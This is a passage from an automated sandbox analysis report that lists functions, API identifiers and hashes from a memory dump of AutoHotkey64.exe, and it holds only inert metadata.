                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 0f61d185164739e40051b2a178b13d18475cd06b97427be0fe49489e72085dc9
                                                              • Instruction ID: 7af73580d8a5ca4c4d1527ef1e69b3cdc83c49da9a6a653a420e779cbd016933
                                                              • Opcode Fuzzy Hash: 0f61d185164739e40051b2a178b13d18475cd06b97427be0fe49489e72085dc9
                                                              • Instruction Fuzzy Hash: 5791C4B160464486F7668B27E4843E937A1F34DBE4F11022AFB5963BF6DB38C490C745
                                                              Function 0000000140045B22 Relevance: 9.2, APIs: 6, Instructions: 173windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: 7db13675484ce9f63ee209a7b4271bc01aed531dafe5c38ed33ed7166829c2a2
                                                              • Instruction ID: e44eec25c32c135d73a9fe1ac9dc83856854c2f779f347aec1d4dbab1adcc97c
                                                              • Opcode Fuzzy Hash: 7db13675484ce9f63ee209a7b4271bc01aed531dafe5c38ed33ed7166829c2a2
                                                              • Instruction Fuzzy Hash: 5A91B2B1604A4486F7668B27E4843E937A1F38DBE4F11022AFB5963BF6DB38C491C745
                                                              Function 0000000140041855 Relevance: 9.2, APIs: 6, Instructions: 166windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: c23000b5f556c5dc940fce508ecbe3a03c4117a04ad3ead10a38b6e7dc4e3a89
                                                              • Instruction ID: 2d33edeaf427beec918169138ecea872743b9b209578f9da8f27edc12648eba9
                                                              • Opcode Fuzzy Hash: c23000b5f556c5dc940fce508ecbe3a03c4117a04ad3ead10a38b6e7dc4e3a89
                                                              • Instruction Fuzzy Hash: DF8192B1600A4486F7668B27E4443E937E1F78DBE4F11022AFB5963AF6DB38C891C745
                                                              Function 0000000140063B18 Relevance: 7.5, APIs: 5, Instructions: 44timeclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: ClipboardCloseCurrentEnumGlobalProcessTimerUnlockWindows
                                                              • String ID:
                                                              • API String ID: 555064778-0
                                                              • Opcode ID: 9bfa5b7be89629b3fe067523dce8e90e1ca9dfa817620a20fcfa4591aef9d6f0
                                                              • Instruction ID: 4ec8d0dc3246132210b32d0cf8cc441ad96edc7cca702a0db740b258fab86282
                                                              • Opcode Fuzzy Hash: 9bfa5b7be89629b3fe067523dce8e90e1ca9dfa817620a20fcfa4591aef9d6f0
                                                              • Instruction Fuzzy Hash: CB1119B1204A85C1E7528F23FC843D973B5F74CBA4F58591AAB4A67274CF38C586C380
                                                              Function 0000000140029770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: IconNotifyShell_wcsncpy
                                                              • String ID: AutoHotkey
                                                              • API String ID: 1496823222-348589305
                                                              • Opcode ID: b3a57a9ae667eb26bc10c09a2f8f68deca11665e86eb55f6b64405d180fdc76f
                                                              • Instruction ID: a1672a62fc33957631cbfc86a03abd8bce6a23907256712cf9860b0954497a81
                                                              • Opcode Fuzzy Hash: b3a57a9ae667eb26bc10c09a2f8f68deca11665e86eb55f6b64405d180fdc76f
                                                              • Instruction Fuzzy Hash: 3E214AB2704B8196EB4DCF26E584799B3A0FB48BC4F045129EB6C53764DF78E5A18704
                                                              Function 00000001400BD650 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 237COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: free
                                                              • String ID: Memory limit reached (see #MaxMem in the help file).$Out of memory.
                                                              • API String ID: 1294909896-457448710
                                                              • Opcode ID: 2ff3e0b61d6a378d928f0af6c7e46e675f26b1c1d7dd6df6245ef8f60b8dd4f4
                                                              • Instruction ID: ff1df4f0d05ab5bf1abf4473e2233c1e5cf83428fa69d8212c63d9620ff36aa0
                                                              • Opcode Fuzzy Hash: 2ff3e0b61d6a378d928f0af6c7e46e675f26b1c1d7dd6df6245ef8f60b8dd4f4
                                                              • Instruction Fuzzy Hash: D5A1AE32604E4081EB639FA695043E9F7B1A74CBE8F544613EB5E176F9EB78C846D301
                                                              Function 00000001400B7525 Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: File$CreateHandleType
                                                              • String ID:
                                                              • API String ID: 1789326604-0
                                                              • Opcode ID: bc53b0564266292ef63d22a76f1a9b830115772919ff060edd6ccfa8c7197b33
                                                              • Instruction ID: e53d53f9697a9fcc4ea54a8b4c6f9f4c0184f43b4e2654a2aec347eff4c95a88
                                                              • Opcode Fuzzy Hash: bc53b0564266292ef63d22a76f1a9b830115772919ff060edd6ccfa8c7197b33
                                                              • Instruction Fuzzy Hash: A941C332A18E4182EB768F66E000B6E63B1F349BE0F545214FB6953BE4DB78C9918B01
                                                              Function 00000001400B6B50 Relevance: 3.1, APIs: 2, Instructions: 106COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,000000014002A868,?,?), ref: 00000001400B6B86
                                                              • GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,000000014002A868,?,?), ref: 00000001400B6C3B
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: Info
                                                              • String ID:
                                                              • API String ID: 1807457897-0
                                                              • Opcode ID: 7997eb7406547a358e04caacded2c25118e1a8eb98481e8a662851c099eeacd8
                                                              • Instruction ID: be9811cb36ec65b8eaaeabc198f6461a6dd23043523d4fa04f455f045783ebd1
                                                              • Opcode Fuzzy Hash: 7997eb7406547a358e04caacded2c25118e1a8eb98481e8a662851c099eeacd8
                                                              • Instruction Fuzzy Hash: C1418D72A01B5485EB6ACFB7E4543A97BB1E399B94F488119EB85077F8CB38C841C741
                                                              Function 0000000140063A99 Relevance: 3.0, APIs: 2, Instructions: 49windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: MessagePostProcWindow
                                                              • String ID:
                                                              • API String ID: 1517762806-0
                                                              • Opcode ID: ce40794c9c34771f848aaa1af4f7308e092fec3bfe0d5c3d6eb3e9190edad66a
                                                              • Instruction ID: 4ebe549dae7fd8214a308bf2a70c2d08f6b004c2e098ab875a9843d76bac2c43
                                                              • Opcode Fuzzy Hash: ce40794c9c34771f848aaa1af4f7308e092fec3bfe0d5c3d6eb3e9190edad66a
                                                              • Instruction Fuzzy Hash: EA11A13231028080EBB3872BEA157AA12A2AB4CBD4F344C15AB4D577B5C939C8439340
                                                              Function 0000000140006180 Relevance: 3.0, APIs: 2, Instructions: 41COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: System$ClassInfoParametersRegister$CursorLoadMetrics
                                                              • String ID:
                                                              • API String ID: 3286897122-0
                                                              • Opcode ID: 2be0fb229912fdc64aadf2225b4e845afbc8d1fe3156e2f8f4488b183df0fac5
                                                              • Instruction ID: 58a7136ada0a8a59f2e058a1358a1bd5b7d90337e0763ebd1d1e7bd5f8fa6db1
                                                              • Opcode Fuzzy Hash: 2be0fb229912fdc64aadf2225b4e845afbc8d1fe3156e2f8f4488b183df0fac5
                                                              • Instruction Fuzzy Hash: 080171B1B01B4181FB2ADB67B8957D56292AB8DB80F8C4029AB49676F2EE3CC4518750
                                                              Function 00000001400633AE Relevance: 3.0, APIs: 2, Instructions: 21windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: FocusProcWindow
                                                              • String ID:
                                                              • API String ID: 1691694861-0
                                                              • Opcode ID: cab41a5322253c51414a50c42dd1bca7e75861c6a3667fd5454b39479c2bdf6a
                                                              • Instruction ID: 6d7ae4ae7dd3acb5486a78528052f76f264bf2ca68a1e3e297bfb94fa998e47e
                                                              • Opcode Fuzzy Hash: cab41a5322253c51414a50c42dd1bca7e75861c6a3667fd5454b39479c2bdf6a
                                                              • Instruction Fuzzy Hash: 78E01A326009C081E663D713FE047A66361BB8CBE8F5448029E5D67778DE3CC887C700
                                                              Function 00000001400BE450 Relevance: 2.6, APIs: 2, Instructions: 67COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide
                                                              • String ID:
                                                              • API String ID: 626452242-0
                                                              • Opcode ID: e29e01234b5fd9237f9f2473fcfc1188340dcf54c5f43f5ba10929ed94b9ac54
                                                              • Instruction ID: e72e3b927bf2db8d4a4956b52630169e62d98c14b6966c47981c41576fcd96d5
                                                              • Opcode Fuzzy Hash: e29e01234b5fd9237f9f2473fcfc1188340dcf54c5f43f5ba10929ed94b9ac54
                                                              • Instruction Fuzzy Hash: D6215B31704BC185E761DF63B80039BB6A5B79CBC8F448129BF8997BBAEA38C5518740
                                                              Function 0000000140005950 Relevance: 2.5, APIs: 2, Instructions: 37COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CloseHandlefree
                                                              • String ID:
                                                              • API String ID: 3486141430-0
                                                              • Opcode ID: f74670a77459853630ce8ce1bee7117459306e58469b671b3ccd67d17ea94520
                                                              • Instruction ID: 41aa46279b5084e17c454be56ec1d510c9ef6856ee847339234b28a2cd09979c
                                                              • Opcode Fuzzy Hash: f74670a77459853630ce8ce1bee7117459306e58469b671b3ccd67d17ea94520
                                                              • Instruction Fuzzy Hash: E7115B32201A40C5EB62DF2AF450399B364EB89BF4F544319EBB9476F8DB79C482CB00
                                                              Function 00000001400497C0 Relevance: 1.6, APIs: 1, Instructions: 110COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1623861271-0
                                                              • Opcode ID: c83fa38998180b6b1780edfe557966e48c184ea4dffe7d8bfc57042bff9d1fa3
                                                              • Instruction ID: f4ff72b9780de7287aa2f7d7b2be3d701968c513ecee93f220d07850b302ae42
                                                              • Opcode Fuzzy Hash: c83fa38998180b6b1780edfe557966e48c184ea4dffe7d8bfc57042bff9d1fa3
                                                              • Instruction Fuzzy Hash: 28415071608A4481EB67CB17A8407E967A1F38DBE4F15423AEFA9537F5DB38C4418704
                                                              Function 0000000140005A20 Relevance: 1.6, APIs: 1, Instructions: 107COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetErrorMode.KERNELBASE ref: 0000000140005A30
                                                                • Part of subcall function 0000000140071040: GetCurrentDirectoryW.KERNEL32(?,0000000140005A3D), ref: 000000014007105C
                                                                • Part of subcall function 0000000140005FD0: FindWindowW.USER32 ref: 000000014000605C
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CurrentDirectoryErrorFindModeWindow
                                                              • String ID:
                                                              • API String ID: 2401824476-0
                                                              • Opcode ID: 9ebb8d56d1d57c3454d05503c4e8a2a78ca7efdc81043c1b620237a921b84c8d
                                                              • Instruction ID: 7b715193377d1a036083d4560c8bf0263577b8fa676fe52b6fc20cc017f68c7d
                                                              • Opcode Fuzzy Hash: 9ebb8d56d1d57c3454d05503c4e8a2a78ca7efdc81043c1b620237a921b84c8d
                                                              • Instruction Fuzzy Hash: 65418FB0701A0581FF57E727F8A53E62291AB8DBD5F940129EB0A932F2EF7CC9458351
                                                              Function 00000001400B1260 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
